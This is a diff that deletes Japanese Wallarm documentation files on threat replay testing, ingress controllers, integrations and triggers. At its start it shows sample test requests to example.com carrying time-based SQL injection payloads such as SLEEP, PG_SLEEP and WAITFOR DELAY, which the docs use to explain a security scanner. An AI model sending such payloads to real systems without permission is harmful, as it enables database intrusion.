https://example.com/login?token=IyEvYmluL3NoCg&user=1')+WAITFOR+DELAY+'0 indexpt'+AND+('wlrm'='wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1+AND+SLEEP(10)--+wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1);SELECT+PG_SLEEP(10)-- - https://example.com/login?token=IyEvYmluL3NoCg&user=1'+OR+SLEEP(10)+AND+'wlrm'='wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=1+AND+1=(SELECT+1+FROM+PG_SLEEP(10)) - https://example.com/login?token=IyEvYmluL3NoCg&user=%23'%23\x22%0a-sleep(10)%23 - https://example.com/login?token=IyEvYmluL3NoCg&user=1';+WAITFOR+DELAY+'0code:10'-- - https://example.com/login?token=IyEvYmluL3NoCg&user=1%27%29+OR+SLEEP%280%29+AND+%28%27wlrm%27%3D%27wlrm - https://example.com/login?token=IyEvYmluL3NoCg&user=SLEEP(10)/*'XOR(SLEEP(10))OR'|\x22XOR(SLEEP(10))OR\x22*/ - ``` - - !!! info "悪意のあるペイロードはお客様のリソースに害を与えません" - 生成されたリクエストの悪意のあるペイロードには実際の悪意のある構文は含まれておらず、攻撃の原理を模倣することのみを意図しています。そのため、お客様のリソースに害を与えることはありません。 -3. **Threat Replay Testing**モジュールは、生成したテストリクエストを[allowlist機能][allowlist-scanner-addresses]を使用してWallarmの保護をバイパスしつつアプリケーションに送信し、特定のエンドポイントにあるアプリケーションが特定の攻撃タイプに対して脆弱でないことを検証します。モジュールがアプリケーションに実際のセキュリティ脆弱性があると疑う場合、タイプが[incident](../user-guides/events/check-attack.md#incidents)のイベントを作成します。 - - !!! info "リクエスト内の`User-Agent` HTTPSヘッダーの値" - **Threat Replay Testing**モジュールのリクエストに含まれる`User-Agent` HTTPヘッダーの値は`Wallarm Threat-Verification (v1.x)`です。 -4. 検出されたセキュリティインシデントはWallarm Consoleにレポートされ、利用可能なサードパーティの[Integrations](../user-guides/settings/integrations/integrations-intro.md)および[Triggers](../user-guides/triggers/triggers.md)経由でセキュリティチームに送信できます。 \ No newline at end of file diff --git a/include-ja/ingress-controller-best-practices-intro.md b/include-ja/ingress-controller-best-practices-intro.md deleted file mode 100644 index d8ac198f81..0000000000 --- a/include-ja/ingress-controller-best-practices-intro.md +++ /dev/null @@ -1,6 +0,0 @@ -!!! info "その他の推奨事項" - WallarmのKubernetes Ingress controllerのバージョンは[コミュニティによりサポートされているKubernetes向けNGINX Ingress controller](https://github.com/kubernetes/ingress-nginx)に基づいています。そのため、公式のIngress controllerドキュメントおよび一般公開されているインターネット上に掲載されている推奨事項の大半は、WallarmのIngress controllerにも適用できます。 - - 参考資料: - - * [公式NGINX Ingress Controllerガイド](https://kubernetes.github.io/ingress-nginx/user-guide/nginx-configuration/) \ No newline at end of file diff --git a/include-ja/ingress-k8s-limitations.md b/include-ja/ingress-k8s-limitations.md deleted file mode 100644 index e815f0f798..0000000000 --- a/include-ja/ingress-k8s-limitations.md +++ /dev/null @@ -1,2 +0,0 @@ -!!! warning "サポート対象のKubernetesプラットフォーム" - ご注意ください。Wallarm NGINXまたはNGINX PlusのIngress controllersは、Kubernetesプラットフォームのバージョン1.15以下でのみ動作します。 \ No newline at end of file diff --git a/include-ja/installation-extra-steps-218.md b/include-ja/installation-extra-steps-218.md deleted file mode 100644 index f6e9952820..0000000000 --- a/include-ja/installation-extra-steps-218.md +++ /dev/null @@ -1,44 +0,0 @@ -## 追加設定 - -フィルタリングノードは、インストール後に追加の設定が必要になる場合があります。 - -以下のドキュメントでは、必要に応じて適用できる代表的な設定をいくつか挙げます。 - -利用可能なその他の設定の詳細については、[管理者ガイド](admin-intro-en.md)の**Configuration**セクションをご参照ください。 - -### クライアントの実IP表示の設定 - -フィルタリングノードがプロキシサーバーまたはロードバランサーの背後に追加設定なしでデプロイされている場合、リクエストの送信元アドレスがクライアントの実際のIPアドレスと一致しないことがあります。代わりに、プロキシサーバーまたはロードバランサーのいずれかのIPアドレスになることがあります。 - -この場合、フィルタリングノードがリクエストの送信元アドレスとしてクライアントのIPアドレスを受け取れるようにするには、プロキシサーバーまたはロードバランサーに対して[追加設定](using-proxy-or-balancer-en.md)を実施する必要があります。 - -### Wallarm Scannerアドレスの許可リストへの追加 - -Wallarm Scannerは、お客様の会社のリソースに脆弱性がないかを確認します。スキャンは、使用しているWallarm Cloudの種類に応じて、次のいずれかのリストのIPアドレスを使用して実行されます。 - -* [US Cloudユーザー向けのUS Scannerアドレス](scanner-address-us-cloud.md) -* [EU Cloudユーザー向けのEU Scannerアドレス](scanner-address-eu-cloud.md) - -Wallarm Scannerを使用している場合は、ネットワーク上のセキュリティソフトウェア（ファイアウォール、侵入検知システムなど）の許可リストにWallarm ScannerのIPアドレスを含めるように設定する必要があります。 - -たとえば、デフォルト設定では、Wallarmフィルタリングノードはblocking modeです。そのため、Wallarm Scannerはフィルタリングノードの背後にあるリソースをスキャンできません。 - -再びScannerを動作させるには、このフィルタリングノードで[Wallarm ScannerのIPアドレスを許可リストに追加](scanner-ips-allowlisting.md)します。 - -### 単一リクエストの処理時間を制限する - -フィルタリングノードが単一のリクエストを処理する時間の上限を指定するには、Wallarmディレクティブ[`wallarm_process_time_limit`](configure-parameters-en.md#wallarm_process_time_limit)を使用します。 - -処理時間がディレクティブで指定した値を超えた場合、エラー情報がログファイルに記録され、当該リクエストは`overlimit_res`攻撃としてマークされます。 - -### サーバー応答待機時間の制限 - -プロキシサーバーの応答を読み取るタイムアウトを指定するには、NGINXディレクティブ[`proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout)を使用します。 - -この時間内にサーバーから何も送信されない場合は、接続が閉じられます。 - -### リクエスト最大サイズの制限 - -クライアントリクエストのボディの最大サイズの上限を指定するには、NGINXディレクティブ[`client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)を使用します。 - -この上限を超えると、NGINXはクライアントに`413`（`Payload Too Large`）コード、別名`Request Entity Too Large`メッセージで応答します。 \ No newline at end of file diff --git a/include-ja/installation-extra-steps.md b/include-ja/installation-extra-steps.md deleted file mode 100644 index 2e3ba36f84..0000000000 --- a/include-ja/installation-extra-steps.md +++ /dev/null @@ -1,31 +0,0 @@ -## 追加設定 - -フィルタリングノードは、インストール後に追加の設定が必要になる場合があります。 - -本ドキュメントでは、必要に応じて適用できる代表的な設定をいくつか挙げます。 - -利用可能なその他の設定の詳細については、管理者ガイドの**Configuration**セクションをご覧ください。 - -### クライアントの実IPの表示を設定する - -フィルタリングノードが、追加の設定を行わずにプロキシサーバーまたはロードバランサーの背後にデプロイされている場合、リクエスト元アドレスがクライアントの実際のIPアドレスと一致しない場合があります。代わりに、プロキシサーバーまたはロードバランサーのIPアドレスのいずれかになることがあります。 - -この場合、フィルタリングノードがリクエスト元アドレスとしてクライアントのIPアドレスを受け取れるようにするには、プロキシサーバーまたはロードバランサーの[追加設定](using-proxy-or-balancer-en.md)が必要です。 - -### 単一のリクエストの処理時間を制限する - -フィルタリングノードが単一のリクエストを処理する時間の上限を指定するには、Wallarmディレクティブ[`wallarm_process_time_limit`](configure-parameters-en.md#wallarm_process_time_limit)を使用します。 - -ディレクティブで指定した時間を超えてリクエストの処理に時間がかかった場合、エラー情報がログファイルに記録され、そのリクエストは`overlimit_res`攻撃としてマークされます。 - -### サーバーの応答待ち時間を制限する - -プロキシサーバーの応答を読み込む際のタイムアウトを指定するには、NGINXディレクティブ[`proxy_read_timeout`](https://nginx.org/en/docs/http/ngx_http_proxy_module.html#proxy_read_timeout)を使用します。 - -この時間内にサーバーから何も送信されない場合、接続が閉じられます。 - -### リクエストの最大サイズを制限する - -クライアントのリクエストボディの最大サイズの上限を指定するには、NGINXディレクティブ[`client_max_body_size`](https://nginx.org/en/docs/http/ngx_http_core_module.html#client_max_body_size)を使用します。 - -この上限を超えると、NGINXはクライアントに`413`（`Payload Too Large`）コード、別名`Request Entity Too Large`メッセージで応答します。 \ No newline at end of file diff --git a/include-ja/installation-step-logging.md b/include-ja/installation-step-logging.md deleted file mode 100644 index 99beb428bc..0000000000 --- a/include-ja/installation-step-logging.md +++ /dev/null @@ -1 +0,0 @@ -NGINXを使用して[フィルタリングノード変数のロギング](../admin-en/configure-logging.md)を構成します。これにより、NGINXのログファイルを使用してフィルタリングノードの迅速な診断を行うことができます。 \ No newline at end of file diff --git a/include-ja/integrations/advanced-events-for-integrations-4.6.md b/include-ja/integrations/advanced-events-for-integrations-4.6.md deleted file mode 100644 index d0ad744d2d..0000000000 --- a/include-ja/integrations/advanced-events-for-integrations-4.6.md +++ /dev/null @@ -1,12 +0,0 @@ -* [Hits](../../../glossary-en.md#hit)は次を除いて検出されます: - - * [カスタム正規表現](../../rules/regex-rule.md)に基づいて検出される実験的なHits。実験的ではないHitsは通知をトリガーします。 - * [サンプル](../../../user-guides/events/analyze-attack.md#sampling-of-hits)に保存されないHits。 - -* システム関連: - * [User](../../../user-guides/settings/users.md)の変更（新規作成、削除、ロール変更） - * [Integration](integrations-intro.md)の変更（無効化、削除） - * [Application](../../../user-guides/settings/applications.md)の変更（新規作成、削除、名称変更） -* [Vulnerabilities](../../../glossary-en.md#vulnerability)が検出されます。デフォルトではすべてが対象ですが、選択したリスクレベル - high, mediumまたはlowのみを対象にすることもできます。 -* [Rules](../../../user-guides/rules/intro.md)および[triggers](../../../user-guides/triggers/triggers.md)が変更されます（ルールまたはトリガーの作成、更新、削除）。 -* 毎時、直前の1時間に処理されたリクエスト数を含む通知を受け取ることができます。 \ No newline at end of file diff --git a/include-ja/integrations/advanced-events-for-integrations-ar.md b/include-ja/integrations/advanced-events-for-integrations-ar.md deleted file mode 100644 index e6e1c6d859..0000000000 --- a/include-ja/integrations/advanced-events-for-integrations-ar.md +++ /dev/null @@ -1,13 +0,0 @@ -* 次の場合を除き、[Hits](../../../glossary-en.md#hit)を検知します: - - * [カスタム正規表現](../../rules/regex-rule.md)に基づいて検知された実験的hitsは除外されます。非実験的hitsは通知をトリガーします。 - * [サンプル](../../../user-guides/events/analyze-attack.md#sampling-of-hits)に保存されていないhitsは除外されます。 - -* システム関連: - * [User](../../../user-guides/settings/users.md)の変更（新規作成、削除、ロール変更）が対象です。 - * [Integration](integrations-intro.md)の変更（無効化、削除）が対象です。 - * [Application](../../../user-guides/settings/applications.md)の変更（新規作成、削除、名称変更）が対象です。 - * [rogue API detection](../../../api-discovery/rogue-api.md#step-1-upload-specification)または[API specification enforcement](../../../api-specification-enforcement/setup.md#step-1-upload-specification)に使用される仕様の定期更新中のエラーが対象です。 -* 検知された[Vulnerabilities](../../../glossary-en.md#vulnerability)は、デフォルトではすべて、または選択したリスクレベル（高・中・低）のみが対象です。 -* [Rules](../../../user-guides/rules/rules.md)と[triggers](../../../user-guides/triggers/triggers.md)の変更（ruleまたはtriggerの作成、更新、削除）が対象です。 -* 毎時、直前の1時間に処理されたリクエスト数の通知を受け取ることができます。 \ No newline at end of file diff --git a/include-ja/integrations/advanced-events-for-integrations.md b/include-ja/integrations/advanced-events-for-integrations.md deleted file mode 100644 index cfe8ff8881..0000000000 --- a/include-ja/integrations/advanced-events-for-integrations.md +++ /dev/null @@ -1,19 +0,0 @@ -* [Hits](../../../glossary-en.md#hit)の検出（以下を除く）： - - * [カスタム正規表現](../../rules/regex-rule.md)に基づき検出された実験的なHitsです。実験的でないHitsは通知が送信されます。 - * [サンプル](../../events/grouping-sampling.md#sampling-of-hits)に保存されていないHitsです。 - -* システム関連： - * [User](../../../user-guides/settings/users.md)の変更（新規作成、削除、ロール変更） - * [Integration](integrations-intro.md)の変更（無効化、削除） - * [Application](../../../user-guides/settings/applications.md)の変更（新規作成、削除、名称変更） - * [rogue API detection](../../../api-discovery/rogue-api.md#step-1-upload-specification)または[API仕様の適用](../../../api-specification-enforcement/setup.md#step-1-upload-specification)に使用する仕様の定期更新時のエラー -* [Vulnerabilities](../../../glossary-en.md#vulnerability)の検出です。デフォルトではすべてが対象ですが、選択したrisk level(s)（high、medium、low）のみに限定できます。 -* [Rules](../../../user-guides/rules/rules.md)および[triggers](../../../user-guides/triggers/triggers.md)の変更（ルールまたはトリガーの作成、更新、削除）です。 -* （[AASM Enterprise](../../../api-attack-surface/setup.md#enabling)が必要です）[Security issues](../../../api-attack-surface/security-issues.md)の検出です。すべて、または選択した[risk level(s)](../../../api-attack-surface/security-issues.md#issue-risk-level)のみを対象にできます： - * Critical risk - * High risk - * Medium risk - * Low risk - * Info risk -* 毎時、直前の1時間に処理されたリクエスト数を通知で受け取ることができます。 \ No newline at end of file diff --git a/include-ja/integrations/application-for-splunk.md b/include-ja/integrations/application-for-splunk.md deleted file mode 100644 index a6de318b73..0000000000 --- a/include-ja/integrations/application-for-splunk.md +++ /dev/null @@ -1,14 +0,0 @@ -Splunk 9.0以降でWallarmのイベントをすぐに使えるダッシュボードに整理して表示するには、[Splunk向けWallarmアプリケーション](https://splunkbase.splunk.com/app/6610)をインストールできます。 - -このアプリケーションは、Wallarmから受信したイベントが自動的に取り込まれる事前構成済みのダッシュボードを提供します。加えて、各イベントの詳細ログにアクセスしたり、ダッシュボードからデータをエクスポートしたりできます。 - -![Splunkダッシュボード][splunk-dashboard-by-wallarm-img] - -Splunk向けWallarmアプリケーションをインストールするには: - -1. Splunk UI ➝ **Apps**で`Wallarm API Security`アプリケーションを探します。 -1. **Install**をクリックし、Splunkbaseの認証情報を入力します。 - -一部のWallarmイベントが既にSplunkに記録されている場合は、それらがダッシュボードに表示され、今後Wallarmが検出するイベントも表示されます。 - -さらに、すぐに使えるダッシュボードは、そのビューや、すべてのSplunkレコードからデータを抽出するために使用する[検索文字列](https://docs.splunk.com/Documentation/Splunk/latest/SearchReference/Search)などを含め、完全にカスタマイズできます。 \ No newline at end of file diff --git a/include-ja/integrations/disable-integration.md b/include-ja/integrations/disable-integration.md deleted file mode 100644 index e022144c38..0000000000 --- a/include-ja/integrations/disable-integration.md +++ /dev/null @@ -1,8 +0,0 @@ -レポートおよび通知の送信を一時的に停止するには、インテグレーションを無効化できます。 - -1. [US](https://us1.my.wallarm.com/integrations/) Cloudまたは[EU](https://my.wallarm.com/integrations/) CloudのWallarm Console → **Integrations**に移動します。 -2. アクティブなインテグレーションを開き、**Disable**をクリックします。 - -レポートおよび通知の送信を再開するには、無効化されたインテグレーションを開き、**Enable**をクリックします。 - -インテグレーションの無効化はシステムイベントです。システム通知を受信する設定の場合、無効化されたインテグレーションに関するメッセージが[構成済みのシステム](integrations-intro.md#integration-types)に送信されます。 \ No newline at end of file diff --git a/include-ja/integrations/events-for-integrations-4.6.md b/include-ja/integrations/events-for-integrations-4.6.md deleted file mode 100644 index 3d4755373c..0000000000 --- a/include-ja/integrations/events-for-integrations-4.6.md +++ /dev/null @@ -1,9 +0,0 @@ -* システム関連： - * [ユーザー](../../../user-guides/settings/users.md)の変更です（新規作成、削除、ロール変更） - * [統合](integrations-intro.md)の変更です（無効化、削除） - * [アプリケーション](../../../user-guides/settings/applications.md)の変更です（新規作成、削除、名前変更） -* [脆弱性](../../../glossary-en.md#vulnerability)の検出です。デフォルトではすべてのリスクレベルが対象ですが、選択したリスクレベルのみに限定することもできます： - * 高リスク - * 中リスク - * 低リスク -* [ルール](../../../user-guides/rules/intro.md)と[トリガー](../../../user-guides/triggers/triggers.md)の変更です（ルールまたはトリガーの作成、更新、削除） \ No newline at end of file diff --git a/include-ja/integrations/events-for-integrations-mail-4.10.md b/include-ja/integrations/events-for-integrations-mail-4.10.md deleted file mode 100644 index 8576ff523c..0000000000 --- a/include-ja/integrations/events-for-integrations-mail-4.10.md +++ /dev/null @@ -1,9 +0,0 @@ -* システム関連： - * [ユーザー](../../../user-guides/settings/users.md)の変更（新規作成、削除、ロール変更） - * [インテグレーション](integrations-intro.md)の変更（無効化、削除） - * [アプリケーション](../../../user-guides/settings/applications.md)の変更（新規作成、削除、名称変更） -* [脆弱性](../../../glossary-en.md#vulnerability)の検出（デフォルトではすべて、または選択したリスクレベルのみ）： - * 高リスク - * 中リスク - * 低リスク -* [Rogue APIの検出](../../../api-discovery/rogue-api.md#step-1-upload-specification)または[API仕様の適用](../../../api-specification-enforcement/setup.md#step-1-upload-specification)に使用される仕様の定期更新時のエラー \ No newline at end of file diff --git a/include-ja/integrations/events-for-integrations-mail.md b/include-ja/integrations/events-for-integrations-mail.md deleted file mode 100644 index f23ddfb202..0000000000 --- a/include-ja/integrations/events-for-integrations-mail.md +++ /dev/null @@ -1,13 +0,0 @@ -* システム関連： - * [ユーザー](../../../user-guides/settings/users.md)の変更（新規作成、削除、ロール変更） - * [インテグレーション](integrations-intro.md)の変更（無効化、削除） - * [アプリケーション](../../../user-guides/settings/applications.md)の変更（新規作成、削除、名称変更） - * [不正API検出](../../../api-discovery/rogue-api.md#step-1-upload-specification)または[API仕様の強制](../../../api-specification-enforcement/setup.md#step-1-upload-specification)向けの仕様の定期更新時のエラー -* [脆弱性](../../../glossary-en.md#vulnerability)の検出（デフォルトではすべて、または選択したリスクレベルのみ）： - * 高リスク - * 中リスク - * 低リスク -* [API Attack Surface](../../../api-attack-surface/overview.md)の通知（API Attack Surface[サブスクリプションプラン](../../../../about-wallarm/subscription-plans/#api-attack-surface)でのみ利用可能）： - * 毎日の重大なセキュリティ問題（新規のみ） - * 毎日のセキュリティ問題（新規のみ） - * 毎週のAASM統計 \ No newline at end of file diff --git a/include-ja/integrations/events-for-integrations.md b/include-ja/integrations/events-for-integrations.md deleted file mode 100644 index 6a7b549a1f..0000000000 --- a/include-ja/integrations/events-for-integrations.md +++ /dev/null @@ -1,16 +0,0 @@ -* システム関連： - * [ユーザー](../../../user-guides/settings/users.md)の変更（新規作成、削除、ロール変更） - * [インテグレーション](integrations-intro.md)の変更（無効化、削除） - * [アプリケーション](../../../user-guides/settings/applications.md)の変更（新規作成、削除、名称変更） - * [ローグAPI検出](../../../api-discovery/rogue-api.md#step-1-upload-specification)または[API仕様の強制](../../../api-specification-enforcement/setup.md#step-1-upload-specification)に使用される仕様の定期更新中のエラー -* [脆弱性](../../../glossary-en.md#vulnerability)の検出（デフォルトではすべて、または選択したリスクレベルのみ）： - * 高リスク - * 中リスク - * 低リスク -* [ルール](../../../user-guides/rules/rules.md)および[トリガー](../../../user-guides/triggers/triggers.md)の変更（ルールまたはトリガーの作成、更新、削除） -* （[AASM Enterprise](../../../api-attack-surface/setup.md#enabling)が必要）[セキュリティ問題](../../../api-attack-surface/security-issues.md)の検出（すべて、または選択した[リスクレベル](../../../api-attack-surface/security-issues.md#issue-risk-level)のみ）： - * クリティカルリスク - * 高リスク - * 中リスク - * 低リスク - * 情報リスク \ No newline at end of file diff --git a/include-ja/integrations/integration-not-working.md b/include-ja/integrations/integration-not-working.md deleted file mode 100644 index 3b7f374346..0000000000 --- a/include-ja/integrations/integration-not-working.md +++ /dev/null @@ -1,15 +0,0 @@ -システムへの通知はリクエスト経由で送信されます。システムが利用できない、またはインテグレーションのパラメータが正しく設定されていない場合は、リクエストの応答でエラーコードが返されます。 - -システムがWallarmのリクエストに`2xx`以外のコードで応答した場合、`2xx`コードを受信するまで、Wallarmは次の間隔でリクエストを再送します: - -* 第1サイクルの間隔: 1、3、5、10、10秒 -* 第2サイクルの間隔: 0、1、3、5、30秒 -* 第3サイクルの間隔: 1、1、3、5、10、30分 - -12時間の間に失敗したリクエストの割合が60%に達すると、インテグレーションは自動的に無効化されます。システム通知を受信している場合は、自動的に無効化されたインテグレーションに関するメッセージが届きます。 - - \ No newline at end of file diff --git a/include-ja/integrations/integrations-disable-delete.md b/include-ja/integrations/integrations-disable-delete.md deleted file mode 100644 index 6271c825fb..0000000000 --- a/include-ja/integrations/integrations-disable-delete.md +++ /dev/null @@ -1,3 +0,0 @@ -インテグレーションは削除または一時的に無効化できます。削除すると通知の送信が停止され、インテグレーションのすべての設定が完全に削除されます。一方、無効化は通知の送信のみを停止し、同じ設定のままいつでも再度有効化できます。 - -インテグレーションで通知のトリガーとして**System related**イベントが選択されている場合、Wallarmは両方の操作について通知します。 \ No newline at end of file diff --git a/include-ja/integrations/integrations-trigger-setup-ar.md b/include-ja/integrations/integrations-trigger-setup-ar.md deleted file mode 100644 index a714d7db6a..0000000000 --- a/include-ja/integrations/integrations-trigger-setup-ar.md +++ /dev/null @@ -1,19 +0,0 @@ -インテグレーションカードで既に設定した通知に加えて、Wallarmのトリガーでは通知対象にする追加のイベントを選択できます: - -* 時間間隔（例：日、時間など）ごとの[攻撃](../../../glossary-en.md#attack)、[ヒット](../../../glossary-en.md#hit)またはインシデントの件数が設定した数を超えたときです - - !!! info "カウント対象外" - * 攻撃の場合： - * [カスタム正規表現](../../../user-guides/rules/regex-rule.md)に基づく実験的な攻撃。 - * ヒットの場合： - * [カスタム正規表現](../../../user-guides/rules/regex-rule.md)に基づく実験的なヒット。 - * [サンプル](../../../user-guides/events/analyze-attack.md#sampling-of-hits)に保存されていないヒット。 - -* [APIの変更](../../../api-discovery/track-changes.md)が発生したときです -* IPアドレスが[denylistに追加された](../../../user-guides/ip-lists/overview.md)ときです -* 新しい[ローグAPI](../../../api-discovery/rogue-api.md)（shadow、orphan、zombie）が検出されたときです -* 会社アカウントに新しいユーザーが追加されたときです - -条件を詳細化するために、1つ以上のフィルターを追加できます。条件とフィルターを設定したら、選択したアラートの送信に使用するインテグレーションを選択します。同時に複数のインテグレーションを選択できます。 - -![インテグレーションの選択](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-ja/integrations/integrations-trigger-setup-limited-ar.md b/include-ja/integrations/integrations-trigger-setup-limited-ar.md deleted file mode 100644 index e4289c6ee0..0000000000 --- a/include-ja/integrations/integrations-trigger-setup-limited-ar.md +++ /dev/null @@ -1,18 +0,0 @@ -integration cardで既に設定済みの通知に加えて、Wallarm triggersでは通知対象の追加イベントを選択できます: - -* 時間間隔（日、時間など）あたりの[attacks](../../../glossary-en.md#attack)、[hits](../../../glossary-en.md#hit)、またはincidentsの件数が設定値を超えた場合 - - !!! info "カウントされないもの" - * attacksの場合: - * [custom regular expressions](../../../user-guides/rules/regex-rule.md)に基づく実験的なattacks。 - * hitsの場合: - * [custom regular expressions](../../../user-guides/rules/regex-rule.md)に基づく実験的なhits。 - * [サンプル](../../../user-guides/events/analyze-attack.md#sampling-of-hits)に保存されていないhits。 - -* [APIの変更](../../../api-discovery/track-changes.md)が発生しました -* 新しい[rogue API](../../../api-discovery/rogue-api.md)（shadow、orphan、zombie）が検出されました -* 会社アカウントに新しいユーザーが追加されました - -条件を詳細化するために、1つ以上のフィルターを追加できます。条件とフィルターを設定したら、選択したアラートの送信経路となるintegrationを選択します。同時に複数のintegrationsを選択できます。 - -![integrationの選択](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-ja/integrations/integrations-trigger-setup-limited.md b/include-ja/integrations/integrations-trigger-setup-limited.md deleted file mode 100644 index b6bb196aec..0000000000 --- a/include-ja/integrations/integrations-trigger-setup-limited.md +++ /dev/null @@ -1,18 +0,0 @@ -integration cardで既に設定している通知に加えて、Wallarmのトリガーでは通知対象とする追加イベントを選択できます: - -* 一定の時間間隔（日、時間など）あたりの[攻撃](../../../glossary-en.md#attack)、[ヒット](../../../glossary-en.md#hit)またはインシデントの件数が設定した数を超えた場合 - - !!! info "カウントに含まれないもの" - * 攻撃の場合: - * [カスタム正規表現](../../../user-guides/rules/regex-rule.md)に基づく実験的な攻撃。 - * ヒットの場合: - * [カスタム正規表現](../../../user-guides/rules/regex-rule.md)に基づく実験的なヒット。 - * [サンプル](../../events/grouping-sampling.md#sampling-of-hits)に保存されていないヒット。 - -* [APIの変更](../../../api-discovery/track-changes.md)が発生した場合 -* 新しい[rogue API](../../../api-discovery/rogue-api.md)（shadow、orphan、zombie）が検出された場合 -* 会社アカウントに新しいユーザーが追加された場合 - -条件を詳細化するために、1つ以上のフィルターを追加できます。条件とフィルターの設定が完了したら、選択したアラートを送信するintegrationを選択します。複数のintegrationを同時に選択できます。 - -![integrationの選択](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-ja/integrations/integrations-trigger-setup-siem-webhook.md b/include-ja/integrations/integrations-trigger-setup-siem-webhook.md deleted file mode 100644 index 33987d22d7..0000000000 --- a/include-ja/integrations/integrations-trigger-setup-siem-webhook.md +++ /dev/null @@ -1,44 +0,0 @@ -### ステップ1: 条件の選択 - -通知に使用できる条件は次のとおりです: - -* 時間間隔（日、時間など）ごとの[攻撃](../../../glossary-en.md#attack)、[ヒット](../../../glossary-en.md#hit)、またはインシデントの数が設定値を超える - - !!! info "カウントされないもの" - * 攻撃の場合: - * [カスタム正規表現](../../../user-guides/rules/regex-rule.md)に基づく実験的な攻撃。 - * ヒットの場合: - * [カスタム正規表現](../../../user-guides/rules/regex-rule.md)に基づく実験的なヒット。 - * [サンプル](../../events/grouping-sampling.md#sampling-of-hits)に保存されていないHits。 - -* Denylisted IP -* [APIの変更](../../about-wallarm/api-discovery.md#tracking-changes-in-api) -* ユーザーが追加された - -### ステップ2: フィルターの追加 - -フィルターは条件を絞り込むために使用します。使用可能なフィルターは次のとおりです: - -* **Type** は、リクエストで検出された攻撃の[種類](../../attacks-vulns-list.md)、またはリクエストが対象としている脆弱性の種類です。 -* **Application** は、リクエストを受け取る[アプリケーション](../settings/applications.md)、またはインシデントが検出されたアプリケーションです。 -* **IP** は、リクエストが送信された送信元のIPアドレスです。 - - このフィルターは単一のIPのみを受け付けます。サブネット、ロケーション、ソースタイプは指定できません。 -* **Domain** は、リクエストを受け取るドメイン、またはインシデントが検出されたドメインです。 -* **Response status** は、リクエストに対して返されるレスポンスコードです。 -* **Target** は、攻撃の対象またはインシデントが検出されたアプリケーションアーキテクチャの要素です。取り得る値は次のとおりです: `Server`、`Client`、`Database`。 - -Wallarm Consoleインターフェースで1つ以上のフィルターを選択し、それぞれに値を設定します。 - -### ステップ3: インテグレーションの選択 - -このステップでは、選択したアラートの送信先となるインテグレーションを選択します。複数のインテグレーションを同時に選択できます。 - -![インテグレーションの選択](../../images/user-guides/triggers/select-integration.png) - -### ステップ4: トリガーの保存 - -1. トリガー作成モーダルダイアログで**Create**ボタンをクリックします。 -2. 必要に応じて、トリガーの名前と説明を指定し、**Done**ボタンをクリックします。 - -トリガー名と説明を指定しない場合、トリガーは名前が`New trigger by , `、説明が空の状態で作成されます。 \ No newline at end of file diff --git a/include-ja/integrations/integrations-trigger-setup.md b/include-ja/integrations/integrations-trigger-setup.md deleted file mode 100644 index acef1d4011..0000000000 --- a/include-ja/integrations/integrations-trigger-setup.md +++ /dev/null @@ -1,19 +0,0 @@ -integration cardで既に設定済みの通知に加えて、Wallarm triggersでは通知対象とする追加イベントを選択できます: - -* 時間間隔（日、時間など）ごとの[攻撃](../../../glossary-en.md#attack)、[ヒット](../../../glossary-en.md#hit)またはインシデントの数が、設定した数を超えます。 - - !!! info "カウントに含まれないもの" - * 攻撃の場合: - * [custom regular expressions](../../../user-guides/rules/regex-rule.md)に基づく実験的な攻撃はカウントされません。 - * ヒットの場合: - * [custom regular expressions](../../../user-guides/rules/regex-rule.md)に基づく実験的なヒットはカウントされません。 - * [サンプル](../../events/grouping-sampling.md#sampling-of-hits)に保存されていないヒットはカウントされません。 - -* [APIの変更](../../../api-discovery/track-changes.md)が発生しました -* IPアドレスが[denylist](../../../user-guides/ip-lists/overview.md)に追加されました -* 新しい[rogue API](../../../api-discovery/rogue-api.md)（shadow、orphan、zombie）が検出されました -* 新しいユーザーが会社アカウントに追加されました - -条件を詳細化するために、1つ以上のフィルターを追加できます。条件とフィルターを設定したら、選択したアラートの送信に使用するintegrationを選択します。複数のintegrationを同時に選択できます。 - -![integrationの選択](../../../images/user-guides/triggers/select-integration.png) \ No newline at end of file diff --git a/include-ja/integrations/remove-integration.md b/include-ja/integrations/remove-integration.md deleted file mode 100644 index 593c7a18a6..0000000000 --- a/include-ja/integrations/remove-integration.md +++ /dev/null @@ -1,7 +0,0 @@ -レポートと通知の送信を恒久的に停止するには、インテグレーションを削除できます。インテグレーションの削除は元に戻せません。インテグレーションは一覧から完全に削除されます。 - -1. [US](https://us1.my.wallarm.com/integrations/)または[EU](https://my.wallarm.com/integrations/) CloudのWallarm Console → **Integrations**に移動します。 -2. インテグレーションを開き、**Delete**をクリックします。 -3. 操作を確認します。 - -インテグレーションの削除はシステムイベントです。システム通知を受信する設定になっている場合、削除されたインテグレーションに関するメッセージが[設定済みのシステム](integrations-intro.md#integration-types)に送信されます。 \ No newline at end of file diff --git a/include-ja/integrations/test-integration-advanced-data.md b/include-ja/integrations/test-integration-advanced-data.md deleted file mode 100644 index a1fa3c1a21..0000000000 --- a/include-ja/integrations/test-integration-advanced-data.md +++ /dev/null @@ -1,13 +0,0 @@ -インテグレーションのテストでは、設定の正確性、Wallarm Cloudの可用性、および通知の形式を確認できます。インテグレーションをテストするには、インテグレーションの作成または編集時に**Test integration**ボタンを使用できます。 - -インテグレーションのテストは次のとおりです。 - -* [Test message]というプレフィックスが付いたテスト通知が、選択したシステムに送信されます。 -* テスト通知には次のイベントが含まれます（それぞれ1件のレコードです）。 - - * 会社アカウントの新規ユーザー - * 新たに検出されたヒット - * 会社のスコープ内で新たに検出されたIPアドレス - * 会社アカウントの新しいトリガー - * 新たに検出されたセキュリティ脆弱性 -* テスト通知にはテストデータが含まれます。 \ No newline at end of file diff --git a/include-ja/integrations/test-integration-basic-data.md b/include-ja/integrations/test-integration-basic-data.md deleted file mode 100644 index 38c076d707..0000000000 --- a/include-ja/integrations/test-integration-basic-data.md +++ /dev/null @@ -1,12 +0,0 @@ -インテグレーションのテストでは、設定の正しさ、Wallarm 